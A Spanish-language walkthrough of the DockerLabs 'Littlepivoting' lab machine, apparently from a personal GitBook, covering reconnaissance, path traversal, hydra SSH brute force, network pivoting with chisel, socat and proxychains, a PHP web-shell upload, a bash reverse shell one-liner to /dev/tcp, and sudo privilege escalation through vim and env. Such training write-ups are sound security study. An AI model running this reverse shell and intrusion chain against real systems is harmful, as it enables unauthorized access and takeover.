> For the complete documentation index, see [llms.txt](https://burple.gitbook.io/burple/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burple.gitbook.io/burple/dockerlabs/medio/littlepivoting.md).

# Littlepivoting

<figure><img src="/files/w4d5uhKvloPcOkX82Ucd" alt=""><figcaption></figcaption></figure>

Primero desplegamos la maquina

<figure><img src="/files/aszmrAxEeFnMYaZlWKjw" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

Realizamos un escaneo de nmap:

```bash
nmap -sSVC -Pn -vvv -open -min-rate 5000 10.10.10.2
```

<figure><img src="/files/PfAcdAIyNI4HO64qPMHt" alt=""><figcaption></figcaption></figure>

Hacemos un gobuster y encontramos "/shop"

<figure><img src="/files/R8XkAgeS1OWGLjoEmPCi" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

Voy al index.php de /shop y intento ver el /etc/passwd pero no puedo, con un directory path traversal consigo ver el archivo con éxito

<figure><img src="/files/N6TvV8axEMMZkPZoqWpG" alt=""><figcaption></figcaption></figure>

Ahora vamos a hacer un ataque de fuerza bruta haciendo uso de la herramienta hydra

<figure><img src="/files/cvS1mnEVklYPZlW8cqbs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GY8tl1HraHnlTq92eQHo" alt=""><figcaption></figcaption></figure>

Ahora vamos a entrar al puerto ssh con los credenciales obtenidos.

Hacemos un hostname -I y vemos nuestra maquina victima(1 10.10.10.2) y nuestra maquinas victima (2, 20.20.20.2), vamos a correr el siguiente script para descubrir más IP's

```bash
#!/bin/bash

for host in $(seq 1 254); do
	timeout 1 bash -c "ping -c 1 20.20.20.$host &>/dev/null" && echo "[+] HOST - 20.20.20.$host"
done; wait
```

<figure><img src="/files/KPLcDX4A2McG7CeFPr03" alt=""><figcaption><p>(ssh manchi@10.10.10.2)</p></figcaption></figure>

## Escala de privilegios

No tenemos conectividad a las IP's 20.20.20.0, por lo tanto vamos a usar [chisel](https://github.com/jpillora/chisel/releases) para redireccionar el trafico a nuestra maquina atacante haciendo un servidor de chisel

<figure><img src="/files/7vw0U6HQgBaFaUmRf2nX" alt=""><figcaption><p>(Primero abrimos un server python (para poder descargar chisel en 10.10.10.2) desde nuestra maquina atacante)</p></figcaption></figure>

<figure><img src="/files/Cxnj0ctljhqnIPZxqlr7" alt=""><figcaption><p>(Descargamos chisel y le damos permisos chmod +x chisel (tamb en nuestra maquina atacante))</p></figcaption></figure>

<figure><img src="/files/sr8aWDQqqSO0hqM6eNwN" alt=""><figcaption><p>(Abrimos el servidor en nuestra maquina atacante)</p></figcaption></figure>

<figure><img src="/files/tAwujIsLwTO2zq8e5TUx" alt=""><figcaption><p>(Nos conectamos a nuestro server d chisel)</p></figcaption></figure>

Hacemos un nano /etc/proxychains.conf y demarcamos dynamic\_chain y marcamos con #strict\_chain, y al final añadimos socks5 127.0.0.1 1080

<figure><img src="/files/hNbWsKWKEDIxvb0DeAlb" alt=""><figcaption><p>(Esto lo hacemos porque nuestro server chisel esta escuchando al 127.0.0.1:1080, asi cuando usemos proxychains, se podra conectar con nuestro server chisel)</p></figcaption></figure>

<figure><img src="/files/lY0ypaWeolgFtENnqHCq" alt=""><figcaption><p>TIP/CONSEJO: Ir controlando bien el nombre y nombrar bien las tablas o sino sera y lio muy gordo al final</p></figcaption></figure>

<figure><img src="/files/AvkHish36dLPtPhcugNK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3mGWfMgEc6qsKeTzuhpp" alt=""><figcaption><p>Esto es lo que pasa si hacemos un escaneo de nmap normal</p></figcaption></figure>

<figure><img src="/files/PrTYiXB4aqVRBjKdIhMl" alt=""><figcaption></figcaption></figure>

Añadimos a foxyproxy la IP con socks5 127.0.0.1:1080

<figure><img src="/files/x2xM6vSFWt1TdtoaQqcw" alt=""><figcaption><p>Lo activamos y ya nos carga</p></figcaption></figure>

Para que nos funcione el gobuster tenemos q añadir --proxy y añadir el proxy de nuestro server chisel, encontramos "/secret.php"

<figure><img src="/files/XdYUSqd5bzisphGuos8j" alt=""><figcaption></figcaption></figure>

El usuario "Mario" me da que podria ser el usuario de ssh de 20.20.20.3, asi que vamos a usar hydra&#x20;

<figure><img src="/files/47KlXpzlcDIHQy5OjhsY" alt=""><figcaption></figcaption></figure>

Encontramos los credenciales rapidamente :D

<figure><img src="/files/80pmvkq6OQURDJu8tkhV" alt=""><figcaption></figcaption></figure>

Vamos a conectarnos con proxychains (obviamente porque sino, como podriamos llegar a la 20.20.20.3 sin pasar por nuestro server chisel? (el cual tiene conexion a la 10.10.10.2, q a su vez tiene conectividad a la 20.20.20.2 y a su vez la 20.20.20.3))

Actualizamos nuestro canvas

<figure><img src="/files/NdTKJmieAxj3K1axu3cx" alt=""><figcaption></figcaption></figure>

Vemos que todos los usuarios pueden ejecutar vim asi que vamos a buscar GTOBins para binarios vulnerables

<figure><img src="/files/5Mzrvkl54qS3THRddNlA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/C2sxyBQugCHh1cFMMpJx" alt=""><figcaption><p>Ejecutamos el binario vulnerable y obtenemos root</p></figcaption></figure>

Bien, ahora vamos a correr el mismo script que de antes en busqueda de mas IP's, pero no funciona porque no tenenmos ping

```bash
#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "ping -c 1 30.30.30.$host &>/dev/null" && echo "[+] HOST - 30.30.30.$host is alive!" &

done; wait
```

Asi que vamos a usar el siguiente:

```bash
#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "echo '' > /dev/tcp/30.30.30.$host/80 &>/dev/null" && echo "[+] HOST - 30.30.30.$host" &

done; wait
```

<figure><img src="/files/o72WlrpFOQ7hQ4LF7SZs" alt=""><figcaption></figcaption></figure>

Ahora a continuacion tendremos que usar socat, porque? Porque chisel solo puede redireccionar el trafico para adelante, encambio socat puede direccionar el trafico de otra maquina a otra (de puerto a puerto y ip). Instalar [socat ](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)en vuestra maquina atacante, os hara falta

<figure><img src="/files/rAPC4LcZB4ysxyn6Win0" alt=""><figcaption></figcaption></figure>

Vamos a usar scp para poder mandar los archivos utilizaremos la herramienta scp

<figure><img src="/files/YyhxDBVAZ6JiislNezgv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MozgOaflWqZgRnaOGr5t" alt=""><figcaption><p>Nos abrimos un server para poder pasar socar a manchi (10.10.10.2)</p></figcaption></figure>

<figure><img src="/files/nb7wrjw3ddK1ihbFBDIL" alt=""><figcaption><p>Ya podemos cerrar el server de python recien creado</p></figcaption></figure>

Como queremos q desde manchi se redireccione a nuestro server chisel, vamos a hacer lo siguiente desde mario root (20.20.20.3/30.30.30.2):

<figure><img src="/files/h3yOoZgHa0ylWz5S1Gqa" alt=""><figcaption><p>Lo que estaria haciendo es mandar el trafico a la 20.20.20.2 (manchi), y desde ahi a nuestro server chisel</p></figcaption></figure>

<figure><img src="/files/I7Y4anJHZ1UQ8kMn7MMt" alt=""><figcaption><p>Se nos ha conectado bien a nuestro server main chisel</p></figcaption></figure>

Porque hemos puesto 1081 y no 1080? Porque el 1080 ya esta en uso por manchi, asi que vamos otra vez /etc/proxychains y vamos a añadir 127.0.0.1 1081

<figure><img src="/files/pSCtXSHzjzD3OXNIxfvY" alt=""><figcaption></figcaption></figure>

Añadimos a foxyproxy nuestro nuevo socks5 que nos dara acceso a la IP 30.30.30.3

<figure><img src="/files/ejpyhbUj4CQ11tEuKzpl" alt=""><figcaption></figcaption></figure>

Lo activamos y... Boom, tiene pinta que habra que subir una revershell como una casa

<figure><img src="/files/RgdhdMJiQm5YsuckmIOv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PJm1cIzauyZOgJMX8PjN" alt=""><figcaption><p>Nos creamos rapidamente un cmd en .php </p></figcaption></figure>

<figure><img src="/files/Z8UZxwxVnf9BqAdEqkF1" alt=""><figcaption><p>Subimos el archivo</p></figcaption></figure>

No se donde se ha subido entonces hago un escaneo rapido con gobuster

<figure><img src="/files/WsqJ1mhqABXqBPsemfPz" alt=""><figcaption><p>Encontramos la ruta rapidamente</p></figcaption></figure>

<figure><img src="/files/Z5Q42UxerHMyPOW9oFAe" alt=""><figcaption><p>Funciona correctamente, por lo tante voy a mandar una reserveshell</p></figcaption></figure>

PERO antes de mandar la revershell tenemos que establecer 2 conexiones mas de socat&#x20;

<figure><img src="/files/ZzZqIdXYqocCqpG7x4H6" alt=""><figcaption><p>mandamos socat con scp</p></figcaption></figure>

<figure><img src="/files/gzPWACJ9RQk1ix6WObNR" alt=""><figcaption><p>abrimos la conexcion con socat la cual redirije a la 20.20.20.2 (manchi)</p></figcaption></figure>

Ahora si mandamos la revershell&#x20;

```bash
bash -c "bash -i >& /dev/tcp/30.30.30.2/5531 0>&1"
```

<figure><img src="/files/VtHC9sXKCevvqdJcO98j" alt=""><figcaption></figcaption></figure>

[Depuración de tty](/burple/cheats/depuracion-de-tty.md)

<figure><img src="/files/6wA5uMnwfbTSol6vbm2Z" alt=""><figcaption></figcaption></figure>

Vemos que root puede ejecutar sin contraseña env, asi que vamos a GTFOBins a buscar el binario vulnerable

<figure><img src="/files/Vc77mBkRdDpO4edMZ8jK" alt=""><figcaption></figcaption></figure>

Ya hubieramos conseguido root

<figure><img src="/files/24MzrjeTTd49ir7NEgjN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xv16Ka73GPUOuhoZYRcT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/753xkWtqhruYzPFcqCcO" alt=""><figcaption></figcaption></figure>
